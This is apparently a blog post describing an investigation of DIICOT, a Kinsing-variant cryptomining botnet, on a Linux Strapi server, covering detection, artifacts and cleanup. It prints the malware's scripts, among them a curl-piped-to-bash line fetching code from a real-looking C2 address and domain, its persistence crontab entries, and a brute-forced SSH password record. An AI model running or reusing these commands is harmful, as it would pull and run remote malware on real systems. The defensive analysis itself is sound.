Hunting DIICOT: A Real-World Linux Malware Investigation

When you're managing Linux servers, sometimes the most innocent-looking processes can hide the most sinister threats. Today, I want to walk you through a real malware investigation that started with a simple `ps aux` command and ended with the discovery of DIICOT malware - a variant of the notorious Kinsing crypto-mining botnet.

The Initial Red Flags

It all started with what seemed like a routine server health check. Running `ps aux` to check running processes, two entries immediately caught my attention:

deploy 118927 0.0 0.1 1237832 15616 ? Sl 06:44 0:00 /var/tmp/.update-logs/Update

deploy 119025 0.0 0.0 1226848 3328 ? Sl 06:47 0:00 ./cache

Several things made these processes suspicious:

1.Unusual locations: /var/tmp/.update-logs/ is not a standard system directory.

2.Generic names: "Update" and "cache" are deliberately innocuous-sounding.

3.Large memory allocation: ~1.2GB virtual memory but small resident memory

4.Recent start times: Both processes had started within minutes of each other

5.Running as application user: They were running as "deploy", not system processes

Following the Trail

Let's investigate the mysterious directory:

bash

cd /var/tmp/.update-logs/

ls -la

The contents were immediately alarming:

-rwxrwxrwx 1 deploy deploy 145 Apr 14 07:02 .b

-rwxr-xr-x 1 deploy deploy 3084288 Jan 17 11:48 .bisis

-rwxrwxrwx 1 deploy deploy 235 Apr 14 07:02 .c

-rwxrwxr-x 1 deploy deploy 331 Jan 17 11:48 History

-rwxr-xr-x 1 deploy deploy 5924460 Jan 17 11:48 Update

-rw-rw-r-- 1 deploy deploy 992256 Apr 14 07:02 iplist

-rwxr-xr-x 1 deploy deploy 40242 Jan 17 11:48 lista.txt

This directory structure screamed malware:

- Hidden script files (`.b` and `.c`)

- Large executables with generic names

- A massive `iplist` file (almost 1MB)

- Mixed creation dates showing persistent access

Uncovering the Persistence Mechanism

The real smoking gun came from examining the hidden script files:

The `.b` script:

bash

#!/bin/bash

if ! pgrep -x cache >/dev/null

then

cd /tmp/

./cache >/dev/null 2>&1 & disown

else

echo ""

fi

This script ensures the malware stays running by checking if "cache" is active and restarting it if not.

The `.c` script:

bash

#!/bin/bash

if curl -s --connect-timeout 15 85.31.47.99/.x/black3; then

curl -s 85.31.47.99/.x/black3 | bash >/dev/null 2>&1

else

curl -s --connect-timeout 15 digital.digitaldatainsights.org/.x/black3 | bash >/dev/null 2>&1

fi

This was the command and control mechanism! The script:

The Cron Job Nightmare

Checking the user's crontab revealed the full extent of the persistence:

bash

crontab -l

@daily /var/tmp/.update-logs/./History >/dev/null 2>&1 & disown

@reboot /var/tmp/.update-logs/./Update >/dev/null 2>&1 & disown

* * * * * /var/tmp/.update-logs/./History >/dev/null 2>&1 & disown

@monthly /var/tmp/.update-logs/./Update >/dev/null 2>&1 & disown

*/30 * * * * /var/tmp/.update-logs/./.c > /dev/null 2>&1 & disown

* * * * * /var/tmp/.update-logs/./.b >/dev/null 2>&1 & disown

This was incredibly aggressive:

1.Scripts running every minute

2.Automatic restart on reboot

3.Multiple redundant schedules

4.C2 check-ins every 30 minutes

The Target List

The `iplist` file contained hundreds of IP addresses and revealed the malware's spreading mechanism. Among the IPs, we found credential information:

:22 | Password : abc123 | Hostname : iZt4ni5x00phib4yx4fv7bZ | Arch : x86_64 | Kernel : 5.15

This confirmed the malware was:

1.Scanning for SSH vulnerabilities

2.Using brute force attacks with common passwords

3.Collecting system information from compromised hosts

4.Building a target database for further infections

Network Traffic Analysis

Using `iftop` to monitor network connections, we confirmed no active C2 communication was occurring during our investigation, but the malware had clearly been designed to:

1.Communicate with remote command servers

2.Download additional payloads

3.Participate in a larger botnet infrastructure

The Infection Vector

Based on the timeline and the fact that this was a Strapi CMS server, the most likely infection vector was exploitation of CVE-2023-22894/CVE-2023-22895 - critical authentication bypass vulnerabilities in Strapi 4.10.5 and earlier. The January 17th timestamps aligned with when these vulnerabilities were being actively exploited in the wild.

Remediation Strategy

Our cleanup process followed these steps:

1.Process termination:

bash

pkill -f Update

pkill -f cache

2. File removal:

bash

rm -rf /var/tmp/.update-logs/

rm -f /tmp/cache

3. Persistence elimination:

bash

crontab -r

4. Network monitoring:

bash

netstat -tupn | grep ESTABLISHED

5. Application patching:

bash

cd /var/www/strapi

npx strapi version

npm install @strapi/strapi@latest

The DIICOT malware (a Kinsing variant) demonstrates how modern malware has evolved beyond simple file encryption or data theft. Today's threats often focus on:

-Resource hijacking (cryptocurrency mining)

-Lateral movement and spreading

-Persistent access maintenance

-Blending in with legitimate system processes

This case reinforces the importance of proactive monitoring and the value of understanding normal system behavior. Sometimes, the most dangerous threats are hiding in the most mundane-looking processes.

Stay vigilant, and remember: if something looks out of place, it probably is.

Have you encountered similar malware on your systems? Share your detection techniques at nandu[@]intuitbiztec.com